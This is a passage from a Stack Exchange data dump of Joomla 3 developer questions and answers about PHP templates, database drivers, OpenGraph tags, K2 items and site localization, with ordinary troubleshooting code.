  <row Id="7350" PostTypeId="1" CreationDate="2015-01-30T03:03:51.973" Score="0" ViewCount="206" Body="&lt;p&gt;I'm currently developing a simple component in Joomla 3 and I know  that I completely followed the instructions in the book I read. however when I navigate to the component I made only white screen was shown even the Joomla headers were not there and I also configured the server settings error reporting to maximum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the possible problems or wrong doings I had done. &lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-01-30T08:14:07.713" Title="Joomla 3.0 Component View (white screen of death)" Tags="|component|" AnswerCount="1" CommentCount="4" ClosedDate="2015-01-31T10:45:18.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="7351" PostTypeId="1" CreationDate="2015-01-30T04:20:04.607" Score="0" ViewCount="3553" Body="&lt;p&gt;In Linkedin, best image size is 698x400 pixels.Want to know the same for images appearing before an article in Joomla 3.0 (like Need a Writer... image, &lt;a href=&quot;http://bit.ly/15ZvlcR&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/15ZvlcR&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-10-31T11:52:36.770" Title="Best image size for Joomla 3.0 before an article" Tags="|joomla-3.x|images|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7352" PostTypeId="2" ParentId="7349" CreationDate="2015-01-30T06:05:15.340" Score="2" Body="&lt;h2&gt;User content restriction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use a plugin called &lt;a href=&quot;http://documentation.form2content.com/f2c-extensions/joomla-content-restriction-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSD Content Restriction&lt;/a&gt;. This little plugin will let you define who can see your content based on several parameters. What is shown or hidden can be determined by six different variables, namely the &lt;em&gt;user group&lt;/em&gt;, the &lt;em&gt;user&lt;/em&gt;, the &lt;em&gt;author group&lt;/em&gt;, the &lt;em&gt;author&lt;/em&gt;, if on the &lt;em&gt;homepage&lt;/em&gt; or if an article is &lt;em&gt;featured&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, the `{user ID}{/user} might be a good option. Here's a couple of examples of usage from the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{user 63} Logged in user 63 (where 63 is the Joomla user id) will see the article content between the plugin syntax. {/user}&#xA;{user !59} All logged in users except user 59 will see the article content between the plugin syntax. {/user}&#xA;{user 59||84} Only logged in users 59 or 84 will see the article content between the plugin syntax. {/user}&#xA;{user !59||!84} All logged in users except users 59 or 84 will see the article content between the plugin syntax. {/user}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Personal user page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another alternative is a component called &lt;a href=&quot;http://www.pages-and-items.com/extensions/user-private-page&quot; rel=&quot;nofollow noreferrer&quot;&gt;User-Private-Page&lt;/a&gt;, that lets you set up a unique page for each user, and a default page for users without a unique page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you need to display user specific private content. When no private&#xA;  content is set for that user, a default custom message is displayed.&#xA;  When there is content set for that user, the user will need to login&#xA;  to view the user private content. The private content is rendered via&#xA;  the content plugins, so you can use any plugin codes in the user&#xA;  specific content. So you can add video, images, modules and all the&#xA;  goodness of Joomla extensions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It really depends on your requirements if any of these solutions works, but it might be a starting point. If you have some PHP knowledge, you can also build your own extension to fit your needs. Also, take a look at &lt;a href=&quot;https://stackoverflow.com/questions/23091911/how-to-create-user-specific-content-in-joomla-3-0&quot;&gt;this post from StackOverflow&lt;/a&gt;, you might find usefull information there.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-30T06:05:15.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7353" PostTypeId="1" AcceptedAnswerId="7359" CreationDate="2015-01-30T06:06:33.977" Score="1" ViewCount="1085" Body="&lt;p&gt;I have been trying to develop my own opengraph. I found some codes online and try to merge them but to no avail. I wonder if I have done it wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Try to find image in article&#xA;         $img = 0;&#xA;         $fulltext = '';&#xA;         if (isset($row-&amp;gt;fulltext) &amp;amp;&amp;amp; $row-&amp;gt;fulltext != '') {&#xA;        $fulltext = $row-&amp;gt;fulltext;&#xA;         }&#xA;         $introtext = '';&#xA;         if (isset($row-&amp;gt;introtext) &amp;amp;&amp;amp; $row-&amp;gt;introtext != '') {&#xA;            $fulltext = $row-&amp;gt;introtext;&#xA;         }&#xA;         $content = $introtext . $fulltext;&#xA;         preg_match('/&amp;lt; *img[^&amp;gt;]*src *= *[&quot;\']?([^&quot;\']*)/i', $content, $src);&#xA;         if (isset($src[1]) &amp;amp;&amp;amp; $src[1] != '') {&#xA;            $timage = htmlspecialchars($src[1]));&#xA;            $img = 1;&#xA;         }&#xA;&#xA;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addCustomTag( '&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;'.$this-&amp;gt;escape($this-&amp;gt;item-&amp;gt;title).'&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;'.$timage.'&quot;;/&amp;gt;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second Code I am experimenting (I received the Undefined Variable : timage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_joomla_image($url)&#xA;    {&#xA;            if (preg_match('/&amp;lt; *img[^&amp;gt;]*src *= *[&quot;\']?([^&quot;\']*)/i', $url, $match)) {&#xA;            $timage = $match[1];&#xA;            echo $match[1];&#xA;        }&#xA;    }&#xA;&#xA;&#xA;&#xA;// get the corresponding thumbnail images   &#xA;if (isset($match[1]) and !empty($match[1]))&#xA;{&#xA; $timage= htmlspecialchars(JURI::root().$match[1]);&#xA;}&#xA;&#xA;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addCustomTag( '&#xA;&amp;lt;meta name=&quot;og:image&quot; content=&quot;'.$timage.'&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you Joomla guru for your help.&lt;/p&gt;&#xA;" OwnerUserId="3616" LastActivityDate="2015-02-07T12:34:15.497" Title="How to extract Joomla image PHP for Opengraph" Tags="|php|templates|template-override|external-script|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7354" PostTypeId="2" ParentId="7351" CreationDate="2015-01-30T06:06:50.100" Score="2" Body="&lt;p&gt;There is no general rule for Joomla! It depends on the width of the position you are putting the image in. Which depends on the template used and the layout the site uses. For example the width of the position on your example seems to be 586px. But the position right of it (drm-free) is 266px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easiest way to find the correct sizes is to use Firebug or some other web development extension. They can tell the sizes for any elements directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you use a responsive layout (not in the example), the optimal size typically varies based on the widht of the browser window. Fortunately the image scaling algorithms the browsers use approach usability as long as the image is not too small by a wide margin. But if you want optimal image quality on a responsive design you'll have to go beyond this answer.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2015-01-30T06:15:02.070" LastActivityDate="2015-01-30T06:15:02.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7355" PostTypeId="2" ParentId="7350" CreationDate="2015-01-30T07:01:46.473" Score="0" Body="&lt;p&gt;In my personal experience the most likely reason is a simple typo somewhere in the files. Use an editor that does syntax highlighting and &lt;strong&gt;pay attention&lt;/strong&gt; to the colors. I think a typical bug would be forgetting the ending symbol in some block (quote, block, comment, parameter lis, line etc). Syntax highlighting should show that.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-30T07:01:46.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7356" PostTypeId="2" ParentId="7353" CreationDate="2015-01-30T07:02:40.473" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;For your Error:- Undefined Variable : timage&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have noticed that &lt;strong&gt;$timage&lt;/strong&gt; variable is declared inside &lt;strong&gt;condition statement&lt;/strong&gt; in both code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (isset($src[1]) &amp;amp;&amp;amp; $src[1] != '') {&#xA;            $timage = htmlspecialchars($src[1]));&#xA;            $img = 1;&#xA;         }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If above condition fails, &lt;strong&gt;$timage&lt;/strong&gt; variable will never be declared. Try declaring this variable outside statement and change value as per condition.   Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="487" LastEditorUserId="487" LastEditDate="2015-01-30T07:10:22.550" LastActivityDate="2015-01-30T07:10:22.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7357" PostTypeId="1" AcceptedAnswerId="7358" CreationDate="2015-01-30T07:04:45.390" Score="0" ViewCount="2247" Body="&lt;p&gt;In using the MySQL Database, here is the default query in populating lists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo(); &#xA;$query = $db-&amp;gt;getQuery(true); &#xA;$query-&amp;gt;select(array('name', 'email', 'username')) &#xA;   -&amp;gt;from($db-&amp;gt;quoteName('#__my_users')) &#xA;   -&amp;gt;where($db-&amp;gt;quoteName('user_id').'=42'); &#xA;$db-&amp;gt;setQuery($query); &#xA;$row = $db-&amp;gt;loadRow(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I configure which database I want to use? I need to get data from a different database which in my case, Oracle.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-02-03T02:04:28.237" LastActivityDate="2015-02-03T02:04:28.237" Title="How to use Oracle database for populating a list in a form" Tags="|joomla-3.x|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7358" PostTypeId="2" ParentId="7357" CreationDate="2015-01-30T07:24:42.247" Score="4" Body="&lt;p&gt;There is a file called &lt;strong&gt;configuration.php&lt;/strong&gt; in root directory. Open that file,&#xA;find:- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'mysqli';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change that value to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public $dbtype = 'oracle';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will change database driver, list of drivers files can be found in:-&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libraries/joomla/database/driver folder,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more info see this &lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt;. Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update -&lt;/strong&gt; &#xA;If you want to use only in some section then,&#xA;instead of getting instance of database like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JDatabaseDriver::getInstance($options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array('driver' =&amp;gt; 'driver_name', 'host' =&amp;gt; 'host', 'user' =&amp;gt; 'user', 'password' =&amp;gt; 'password', 'database' =&amp;gt; 'db_name', 'prefix' =&amp;gt; 'prefix');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="487" LastEditorUserId="487" LastEditDate="2015-01-30T07:52:51.463" LastActivityDate="2015-01-30T07:52:51.463" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7359" PostTypeId="2" ParentId="7353" CreationDate="2015-01-30T07:41:24.923" Score="2" Body="&lt;p&gt;How about using &lt;a href=&quot;http://php.net/manual/en/class.domdocument.php&quot; rel=&quot;nofollow&quot;&gt;DOMDocument&lt;/a&gt; instead of &lt;code&gt;preg_match&lt;/code&gt;? That way you should be able to get all images in the body using &lt;code&gt;getElementsByTagName()&lt;/code&gt;. Maybe something like this could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$buffer = JResponse::getBody();&#xA;$document = new DOMDocument();&#xA;@$document-&amp;gt;loadHTML($buffer);&#xA;&#xA;$images = $document-&amp;gt;getElementsByTagName('img');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$images&lt;/code&gt; will be an object containing all elements (images) in your document. If you want to get the URL of the first image, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $image = $images-&amp;gt;item(0)-&amp;gt;getAttribute('src');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addCustomTag( '&#xA;   &amp;lt;meta name=&quot;og:image&quot; content=&quot;'.$image.'&quot;&amp;gt;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just some quick ideas, you'll probably have to modify the code to make it work.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-30T07:41:24.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7362" PostTypeId="1" CreationDate="2015-01-30T12:06:18.963" Score="0" ViewCount="506" Body="&lt;p&gt;I am somewhat experienced with PHP but not so much with Joomla's design. I have an event management component (iCagenda). It has a page to edit events. There is the ability to add custom fields. But it doesn't allow a date type field. So I am trying to copy how the component uses an existing date field (startdate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file that handles the event input, there is this, for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('startdate'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the very top of the page there is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die();&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.formvalidation');&#xA;$app = JFactory::getApplication();&#xA;$document = JFactory::getDocument();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then later, this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('formbehavior.chosen', 'select');&#xA;jimport('joomla.html.html.bootstrap');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This page does not have a top level function or anything, it just goes right into if-else statements. Not being familiar with object-oriented terminology, I have no idea if this is considered an object or what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page calls a function to display custom fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo icagendaCustomfields::loader(2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the file that handles the display of custom fields, there is this at the top&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die();&#xA;class icagendaCustomfields&#xA;{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the loader function there is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static public function loader($parent_form)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    $session = JFactory::getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And eventually a call to icagendaCustomfields::displayField&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In displayField, there is this call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the function creates the form html, which is where I am trying to change the code to make one of he custom text fields a date field. Here is the relevant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cf_fields.= '&amp;lt;div class=&quot;' . $ic_prefix . 'controls' . $is_list . '&quot;&amp;gt;';&#xA;&#xA;    // Field Type TEXT&#xA;    if ($type == 'text')&#xA;    {&#xA;&#xA;        // enable a date field here (for instance for the registation due date custom field)&#xA;        if ($slug === &quot;registration_due_date&quot;){&#xA;&#xA;        // First - try and test that I can get the already existing event startdate field to display&#xA;&#xA;        $cf_fields.= $this-&amp;gt;form-&amp;gt;getInput('startdate');&#xA;        } else {&#xA;&#xA;        $cf_fields.= '&amp;lt;input type=&quot;'.$type.'&quot;';&#xA;        $cf_fields.= ' id=&quot;' . $slug . '_slug&quot;';&#xA;        $cf_fields.= ' name=&quot;' . $ic_data . '['.$slug.']&quot;';&#xA;        $cf_fields.= ' value=&quot;'.$value.'&quot;';&#xA;        $cf_fields.= ' placeholder=&quot;'.$options.'&quot;';&#xA;        if ($app-&amp;gt;isAdmin()) $cf_fields.= $text_required;&#xA;//      if ($app-&amp;gt;isSite()) $cf_fields.= $text_required;&#xA;        $cf_fields.= ' /&amp;gt;';&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fails above at this line:&#xA;    $cf_fields.= $this-&gt;form-&gt;getInput('startdate');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The error is &quot;Using $this when not in object context&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this startdate form is an already existing field in the event edit section, so I am just adding this line to confirm I can get things working before going on. Ultimately I need the registration_due_date field to act like the startdate field (i.e. a calendar date select box).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Sorry for such a long post. I am just trying to understand where in the flow to best make changes.&lt;/p&gt;&#xA;" OwnerUserId="2321" LastEditorUserId="159" LastEditDate="2015-01-31T10:42:03.797" LastActivityDate="2015-01-31T10:42:03.797" Title="How to use $this outside a class object?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7364" PostTypeId="2" ParentId="7362" CreationDate="2015-01-30T13:16:48.100" Score="2" Body="&lt;p&gt;$this can only be called inside an instantiated PHP class, an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are calling an static method from PHP class, then there is no object context. Thus, $this will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call &quot;loader&quot; method, you have to write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$agenda = new icagendaCustomfields; // Add params if they are required&#xA;$agenda-&amp;gt;loader();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-30T13:16:48.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7365" PostTypeId="2" ParentId="7357" CreationDate="2015-01-30T13:20:51.527" Score="1" Body="&lt;p&gt;Joomla Docs is a nice documentation site ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Connecting to an external database&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_connect_to_an_external_database&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_connect_to_an_external_database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$option = array(); //prevent problems&#xA;&#xA;$option['driver']   = 'mysql';            // Database driver name&#xA;$option['host']     = 'db.myhost.com';    // Database host name&#xA;$option['user']     = 'fredbloggs';       // User for database authentication&#xA;$option['password'] = 's9(39s£h[%dkFd';   // Password for database authentication&#xA;$option['database'] = 'bigdatabase';      // Database name&#xA;$option['prefix']   = 'abc_';             // Database prefix (may be empty)&#xA;&#xA;$db = JDatabaseDriver::getInstance( $option );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-30T13:20:51.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7366" PostTypeId="2" ParentId="7351" CreationDate="2015-01-30T13:25:13.533" Score="2" Body="&lt;p&gt;The answer depends on your requirements for the best image.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It can the smallest image possible for a device&lt;/li&gt;&#xA;&lt;li&gt;You can deliver different images for each device&lt;/li&gt;&#xA;&lt;li&gt;You can show the biggest image possible to match social networks sharing requirements: &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Right-sizing Images - Mixing Responsive and Adaptive Techniques&lt;/strong&gt; &#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=8WLoOFqC1NA&amp;amp;index=30&amp;amp;list=PLSwFVRVZ3joTo3InkU_FT65_AK8dQiyZ4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=8WLoOFqC1NA&amp;amp;index=30&amp;amp;list=PLSwFVRVZ3joTo3InkU_FT65_AK8dQiyZ4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Social Media Profile Images Sizes&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.extly.com/docs/autotweetng_joocial/faq-social-media.html&quot; rel=&quot;nofollow&quot;&gt;http://www.extly.com/docs/autotweetng_joocial/faq-social-media.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-30T13:25:13.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7370" PostTypeId="1" CreationDate="2015-01-30T17:07:57.880" Score="1" ViewCount="896" Body="&lt;p&gt;I have a form created with &lt;strong&gt;RSForm Pro&lt;/strong&gt; and I am loading this form in some K2 items with the RSForm Content Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to get the title of k2 item that form submitted from it&lt;/strong&gt;. &#xA;in k2 item view I solve this problem with this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$K2Itemid = JRequest::getInt('id');$db = JFactory::getDBO();$db-&amp;gt;setQuery(&quot;SELECT title FROM #__k2_items WHERE id = &quot;.$K2Itemid );$K2Catid = $db-&amp;gt;loadResult(); return $K2Catid;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but &lt;strong&gt;what is solution in category blog view of k2 items?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3621" LastEditorUserId="3650" LastEditDate="2016-03-08T00:29:21.950" LastActivityDate="2017-01-23T12:55:23.723" Title="Get K2 itemID in category listing" Tags="|k2|rsform|itemid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7371" PostTypeId="1" CreationDate="2015-01-30T18:15:57.190" Score="2" ViewCount="990" Body="&lt;p&gt;What I'm trying to do is create a category blog layout that will display the title of a category, followed by subcategories with the articles of those subcategories (full article, not just it's title) displayed directly after, like so: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOP LEVEL CATEGORY&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subcategory 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subcategory 1 Article 1&lt;/li&gt;&#xA;&lt;li&gt;Subcategory 1 Article 2&lt;/li&gt;&#xA;&lt;li&gt;Subcategory 1 Article 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Subcategory 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subcategory 2 Article 1&lt;/li&gt;&#xA;&lt;li&gt;Subcategory 2 Article 2&lt;/li&gt;&#xA;&lt;li&gt;Subcategory 2 Article 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't think this should be too difficult to do, but I haven't been able to find a simple solution. I've tried to call the items template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;loadTemplate('item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within blog_children.php, but I get a fatal error: Fatal error: Call to a member function get() on a non-object. Has anyone accomplished this or have any advice?&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2015-01-31T17:13:27.690" Title="Override blog layout to display articles under subcategory headings" Tags="|joomla-3.x|overrides|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7373" PostTypeId="1" AcceptedAnswerId="7384" CreationDate="2015-01-30T20:00:03.540" Score="2" ViewCount="438" Body="&lt;p&gt;How could I localized the site title / headline and slogan of a Joomla site. I have got localized menus with localized pages, but I have no idea how could I make site title multilingual?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas will be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3624" LastActivityDate="2015-01-31T14:26:52.517" Title="Localization of site title / headline and slogan" Tags="|joomla-3.x|language|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7374" PostTypeId="2" ParentId="5830" CreationDate="2015-01-30T21:15:38.237" Score="0" Body="&lt;p&gt;I ended up installing sh404sef wich did the job out of the box, I think the updating caused some db tables to be corrupted..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx for the help all!&lt;/p&gt;&#xA;" OwnerUserId="3422" LastActivityDate="2015-01-30T21:15:38.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7378" PostTypeId="2" ParentId="7373" CreationDate="2015-01-31T10:40:19.577" Score="1" Body="&lt;p&gt;You can override or insert your own keys when going to Extensions &gt; Languages &gt; Overrides. After that, you only need to put these keys into your site configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the key isn't translated, you may have to make/override a plugin.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-01-31T10:40:19.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7379" PostTypeId="2" ParentId="7373" CreationDate="2015-01-31T10:40:31.687" Score="2" Body="&lt;p&gt;If you place the title / slogan in a module, you can assign a language to the module, so it will only appear with the desired language.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-31T10:40:31.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7380" PostTypeId="2" ParentId="7371" CreationDate="2015-01-31T10:42:28.813" Score="-1" Body="&lt;p&gt;try , even if you haven't overriden it, to copy the default_item template into your template HTML folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get to this result, you have to override the initial com_content templates of, let's say, blog. The overrides you do are to be put in your templates html folder (/templates/my_template/html/com_content/ to be specific). when you do so, it looks in that same folder for every subtemplate included. Like, for instance, blog_item, or default_item, or whatever according to the layout you are overriding. if it can't find it, you get a Fatal error, though I don't remember which one.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastEditorUserId="159" LastEditDate="2015-01-31T17:13:27.690" LastActivityDate="2015-01-31T17:13:27.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7381" PostTypeId="1" AcceptedAnswerId="7390" CreationDate="2015-01-31T10:59:12.010" Score="4" ViewCount="2001" Body="&lt;p&gt;I've written a rendererer library (on basis of JDocumentHTML) for Joomla 3, needed for a component of mine. It has to be put in a subfolder of /libraries/joomla/document for now. Now I'd like to pack it and make it installable via the package installer of joomla. I've found no tutorial and no book so far emphasizing the way to do it, except an old post explaining a little bit how to make ONE library (and not a rendering one) able to be installed at the root of the library folder in Joomla 1.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More informations and reformulation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this PDF rendering class, which is extending JDocument, stuffed in a custom library. Ideally, I not only want to be able to distribute a .zip of this library in order to make it installable via the file manager. That I have already done. I would like to be able to actually &lt;em&gt;render&lt;/em&gt; something using it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extending the core Joomla rendering functions is a really easy thing to do if you copy your custom renderer to the right place via ftp (to /libraries/joomla/document/ to be specific), but I don't have a clue how to do it via a custom library installed through the extension mananger, in order &lt;em&gt;not&lt;/em&gt; to mess around in the vendor directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for now, 